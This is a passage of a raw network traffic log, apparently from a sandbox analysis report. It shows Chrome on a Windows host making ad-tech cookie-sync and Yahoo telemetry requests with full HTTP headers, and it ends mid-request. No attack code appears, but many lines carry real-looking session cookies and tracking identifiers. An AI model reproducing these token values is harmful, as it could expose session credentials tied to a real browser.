2024-01-10 23:27:17 UTC	627	OUT	GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	779	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 Set-Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; path=/; expires=Thu, 09-Jan-2025 23:27:17 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1704929237; path=/; expires=Thu, 09-Jan-2025 23:27:17 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1704929237; path=/; expires=Thu, 09-Jan-2025 23:27:17 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1704929237; path=/; expires=Thu, 09-Jan-2025 23:27:17 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50054	172.64.151.101	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	426	OUT	GET /openrtb/pbjs?s=1057986 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:17 UTC	608	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Type: application/json Connection: close CF-Ray: 8438b0956a2d2069-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=38%2Fd2jl5y8mbEJ4Wp8F2J1x%2BJBzFfVKHNs%2Bnnv73x6%2Fp18oFEUeBReILTLEiklRd7ISckmb2jHOaC5mDWr0XfSB14lF4VxgUMxCOGSifH9ZIGp0hCqPy44vPJQE7XOrsI0nOCMMM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50056	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1549	OUT	GET /ups/58692/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	462	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:17 GMT Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:17 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Connection: close Server: ATS/9.1.10.94

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	50044	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	800	OUT	GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	1054	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:17 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:17 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1704929237315 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	50055	72.251.229.176	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	778	OUT	GET /bridge.gif?AG_PID=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.adgrx.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ADGRX_UID=cabe22d6-b00f-11ee-b20f-088496e42def
2024-01-10 23:27:17 UTC	850	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Type: image/gif Content-Length: 0 Connection: close server: Cowboy set-cookie: ADGRX_UID=cabe22d6-b00f-11ee-b20f-088496e42def; Version=1; Expires=Sat, 08-Feb-2025 23:27:17 GMT; Max-Age=34128000; Domain=.adgrx.com; Path=/; Secure; SameSite=None set-cookie: ADGRX_CM_PUBMATIC_BRIDGED=1; Version=1; Expires=Thu, 11-Jan-2024 23:27:17 GMT; Max-Age=86400; Domain=.adgrx.com; Path=/; Secure; SameSite=None Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=cabe22d6-b00f-11ee-b20f-088496e42def X-RealServer-NX: lga-delivery-10 Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate Pragma: no-cache Expires: Thu, 23 Sep 2004 17:42:04 GMT P3P: CP="NOI OTC OTP OUR NOR" Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	50047	54.208.16.196	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	796	OUT	GET /ping_match.gif?ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Ddxu%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	758	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Wed, 10 Jan 2024 23:27:16 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://pm.w55c.net/ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Ddxu%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ Pragma: no-cache Server: PingMatch/v2.0.30-795-gb641a57#rel-ec2-master i-0356dae25a1e5f4b7@us-east-1d@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; Domain=.w55c.net; Expires=Sun, 09-Feb-2025 09:27:17 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	50059	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1659	OUT	POST /p?s=2023538075&t=1704929236396&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&ads_failure_total=0&ads_fetch_total=1&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=1&ads_slot_top_failure=0&ads_slot_top_total=0 HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	50062	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1735	OUT	POST /p?s=2023538075&t=1704929236397&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-LREC-iframe&isRefresh=false&loc=top_right&renderCount=1&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	50061	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1735	OUT	POST /p?s=2023538075&t=1704929236451&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-LREC3-iframe&isRefresh=false&loc=mid_right_a&renderCount=0&status=failed HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	50057	64.202.112.255	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	705	OUT	GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	583	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 165 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: /usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2 P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=v79p4FQcaoSFEzqKnYP-; Path=/; Domain=zemanta.com; Expires=Thu, 09 Jan 2025 23:27:17 GMT; Max-Age=31536000; Secure; SameSite=None Date: Wed, 10 Jan 2024 23:27:17 GMT
2024-01-10 23:27:17 UTC	165	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 75 73 65 72 73 79 6e 63 2f 6d 65 64 69 61 6e 65 74 2f 3f 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 25 32 46 63 6b 73 79 6e 63 2e 70 68 70 25 33 46 63 73 25 33 44 31 25 32 36 74 79 70 65 25 33 44 7a 65 6d 25 32 36 6f 76 73 69 64 25 33 44 5f 5f 5a 55 49 44 5f 5f 26 61 6d 70 3b 70 75 69 64 3d 25 32 34 25 37 42 56 53 49 44 25 37 44 26 61 6d 70 3b 73 3d 32 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="/usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	50058	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1785	OUT	POST /p?s=2023538075&t=1704929236451&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&errorMessage=Failed%20ad%20with%20no%20fallback&id=sda-LREC3-iframe&loc=mid_right_a&renderCount=0&sourceType=native&status=failed HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; 